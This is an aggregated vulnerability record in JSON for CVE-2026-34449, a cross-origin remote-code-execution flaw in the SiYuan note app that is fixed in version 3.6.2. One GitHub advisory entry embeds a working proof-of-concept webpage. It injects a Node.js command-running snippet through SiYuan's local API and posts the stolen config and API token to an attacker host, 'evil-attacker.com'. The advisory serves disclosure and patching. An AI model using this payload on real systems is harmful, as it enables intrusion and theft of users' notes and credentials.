{"id":"GHSA-68p4-j234-43mv","revision":null,"records":[{"revision":"dd2e3631d4444a718ead6e9e24d6b2e9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34449","aliases":[],"title":"SiYuan: Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection","description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.","state":0,"publishedAt":"2026-03-31T21:45:17.081+00:00","modifiedAt":"2026-04-01T15:52:56.545+00:00","affected":[{"ecosystem":"Vendor product","name":"siyuan","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"siyuan-note\",\n                    \"product\": \"siyuan\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.6.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv","https://github.com/siyuan-note/siyuan/issues/17246","https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34449","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34449","identifiers":["CVE-2026-34449"]},"retained":false,"historicalAffected":[]},{"revision":"6fbdd0a2178842bcac2e313e0afec224","observedAt":"2026-11-23T20:35:08.394+00:00","statement":{"source":"euvd","id":"EUVD-2026-17676","aliases":["CVE-2026-34449","GHSA-68p4-j234-43mv"],"title":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + A…","description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":null}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv","https://github.com/siyuan-note/siyuan/issues/17246","https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-17676","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 31, 2026, 9:45:17 PM","dateUpdated":"Apr 1, 2026, 3:52:56 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-17676","identifiers":["EUVD-2026-17676","CVE-2026-34449","GHSA-68p4-j234-43mv"]},"retained":false,"historicalAffected":[]},{"revision":"467329e3a4394007b839bbcae1347f0e","observedAt":"2026-10-25T08:17:29.602+00:00","statement":{"source":"nvd","id":"CVE-2026-34449","aliases":[],"title":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + A…","description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.","state":0,"publishedAt":"2026-03-31T22:16:19.83+00:00","modifiedAt":"2026-07-24T21:10:00.143+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/issues/17246","https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2","https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34449","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-942"],"productCriteria":["cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-03-31T22:16:19.830","lastModified":"2026-07-24T21:10:00.143"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34449","identifiers":["CVE-2026-34449"]},"retained":false,"historicalAffected":[]},{"revision":"f3b7d7c340384096ae448a347f918617","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-68p4-j234-43mv","aliases":["CVE-2026-34449","GO-2026-5171"],"title":"SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection","description":"### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 — CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Innocent looking page</h1>\n<script>\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch('http://127.0.0.1:6806/api/snippet/setSnippet', {\n  method: 'POST',\n  credentials: 'include',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    snippets: [{\n      id: 'exploit-' + Date.now(),\n      name: 'system-update',\n      type: 'js',\n      content: 'require(\"child_process\").exec(\"id > /tmp/siyuan-rce-proof\")',\n      enabled: true\n    }]\n  })\n}).then(r => r.json()).then(d => {\n  console.log('Snippet injected:', d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch('http://127.0.0.1:6806/api/system/getConf', {\n  method: 'POST',\n  credentials: 'include',\n  headers: {'Content-Type': 'application/json'}\n}).then(r => r.json()).then(d => {\n  // Send API token and config to attacker server\n  fetch('https://evil-attacker.com/collect', {\n    method: 'POST',\n    body: JSON.stringify(d.data)\n  });\n});\n</script>\n</body>\n</html>\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -b <session-cookie> \\\n  -d '{\"type\":\"all\",\"enabled\":2}'\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.","state":0,"publishedAt":"2026-03-31T23:29:00+00:00","modifiedAt":"2026-06-25T18:56:35.5810113+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv","https://nvd.nist.gov/vuln/detail/CVE-2026-34449","https://github.com/siyuan-note/siyuan/issues/17246","https://github.com/siyuan-note/siyuan","https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"],"sourceUrl":"https://github.com/advisories/GHSA-68p4-j234-43mv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-68p4-j234-43mv","identifiers":["GHSA-68p4-j234-43mv","CVE-2026-34449","GO-2026-5171"]},"retained":false,"historicalAffected":[]},{"revision":"5a8f7a0c659645b2bb82cc0fa9b3920a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5171","aliases":["CVE-2026-34449","GHSA-68p4-j234-43mv"],"title":"SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel","description":"SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2.","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:28.6353171+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv","https://nvd.nist.gov/vuln/detail/CVE-2026-34449","https://github.com/siyuan-note/siyuan/issues/17246","https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5171","license":"OSV · upstream source license applies","key":"osv:GO-2026-5171","identifiers":["GO-2026-5171","CVE-2026-34449","GHSA-68p4-j234-43mv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T03:27:20.7872799+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T03:27:20.7872799+00:00","lastSuccessAt":"2026-11-24T03:27:21.0499364+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:21.0499365+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-408d2d62e5e1ee202bc4ddcb36cdfc4163a3b9f625f656571d5227a756b73f22","complete":true,"records":430978,"lastAttemptAt":"2026-11-24T03:25:33.3876434+00:00","lastSuccessAt":"2026-11-24T03:25:33.3654925+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:25:33.3876434+00:00","snapshotPublishedAt":"2026-11-24T02:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2befaf4fce43427b8f2de0237aab55a0","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T03:37:23.6495493+00:00","lastSuccessAt":"2026-11-24T03:37:23.646+00:00","error":"403 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T03:37:23.646+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13203,"expectedIdentifiers":13982,"failedIdentifiers":403},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T03:27:20.7872799+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T03:27:20.7872799+00:00","lastSuccessAt":"2026-11-24T03:27:21.0510069+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:21.0510074+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-522bbc16b5764cfda6f3fb3dab5abf4a","complete":true,"records":13947,"lastAttemptAt":"2026-11-24T03:27:46.3160841+00:00","lastSuccessAt":"2026-11-24T03:27:46.312+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:46.312+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13982,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T03:27:20.7062774+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.7062774+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T03:25:33.5302894+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:25:33.5302894+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-24T03:27:20.7276427+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.7276427+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-d1b862b4f381f96343318aa0a267adfdca63ec56238db239e6875bfd23f8318b","complete":true,"records":232938,"lastAttemptAt":"2026-11-24T03:27:20.5805435+00:00","lastSuccessAt":"2026-11-24T03:27:19.6143847+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.5805435+00:00","snapshotPublishedAt":"2026-11-24T02:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}